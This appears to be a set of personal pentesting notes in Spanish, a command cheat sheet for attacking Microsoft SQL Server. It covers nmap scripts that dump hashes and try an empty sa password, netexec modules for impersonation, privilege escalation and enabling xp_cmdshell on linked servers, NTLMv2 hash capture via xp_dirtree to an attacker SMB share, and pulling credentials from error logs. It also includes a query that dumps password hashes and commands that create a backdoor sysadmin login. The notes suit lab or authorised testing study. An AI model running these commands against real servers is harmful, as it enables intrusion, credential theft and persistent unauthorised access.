1433 - Microsoft SQL Server
Está todo en la página de hacktricks, importante mirar exploits para la versión
1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks
Sin credenciales :
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
Con credenciales
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
Listar usuarios
select name, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type, sid from sys.database_principals where type not in ('A', 'R') order by name;
Listar usuarios que podemos impersonar (quizás tienen acceso a bases de datos que nosotros no tenemos)
nxc mssql 192.168.162.40 -u 'discovery' -p 'Start123!' -M enum_impersonate
Listar sysadmins
Use master; EXEC sp_helpsrvrolemember 'sysadmin';
Logins que permiten entrar al motor SQL
nxc mssql 192.168.162.40 -u 'discovery' -p 'Start123!' -M enum_logins
Para enumerar si un usuario al que puedo impersonar es sysadmin
EXECUTE AS LOGIN = 'hrappdb-reader' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')
Para ver si puedo hacer privesc
nxc mssql <ip> -u user -p password -M mssql_priv
nxc mssql <ip> -u user -p password -M mssql_priv --local-auth
Diversas pruebas con netexec :
https://www.netexec.wiki/mssql-protocol/
Obtener hash NTLMv2
mssql lo corre el servicio sql_svc, podemos obtener su hash
EXEC xp_dirtree '\\IP\share', 1, 1
impacket-smbserver share ./share -smb2support
Si todo lo anterior falla, revisar los contenidos de la db
ERROR LOG
Puede contener creds
cd C:\SQLServer\Logs
type ERRORLOG.BAK
COMANDOS BÁSICOS
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
# Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
# List table content
USE DATABASE;
SELECT * FROM TABLE;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
Linked Servers
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
EXEC sp_catalogs @server_name = 'MI_LINKED_SERVER';
EXEC sp_tables_ex
@table_server = 'MI_LINKED_SERVER',
@table_catalog = 'NombreDeLaBaseDeDatosRemota';
EXEC sp_tables_ex
@table_server = 'MI_LINKED_SERVER',
@table_catalog = 'BaseDatosAventuras',
@table_schema = 'dbo',
@table_type = 'TABLE';
SELECT TOP 10 * FROM [MI_LINKED_SERVER].[NombreDeLaBaseDeDatosRemota].[dbo].[NombreDeLaTabla];
Habilitar xp_cmdshell en el linked_server:
nxc mssql IP -u 'user' -p 'pass' -M link_enable_xp -o LINKED_SERVER=name
Ejecutar comandos:
nxc mssql IP -u 'user' -p 'pass' -M link_xpcmd -o LINKED_SERVER=name CMD=whoami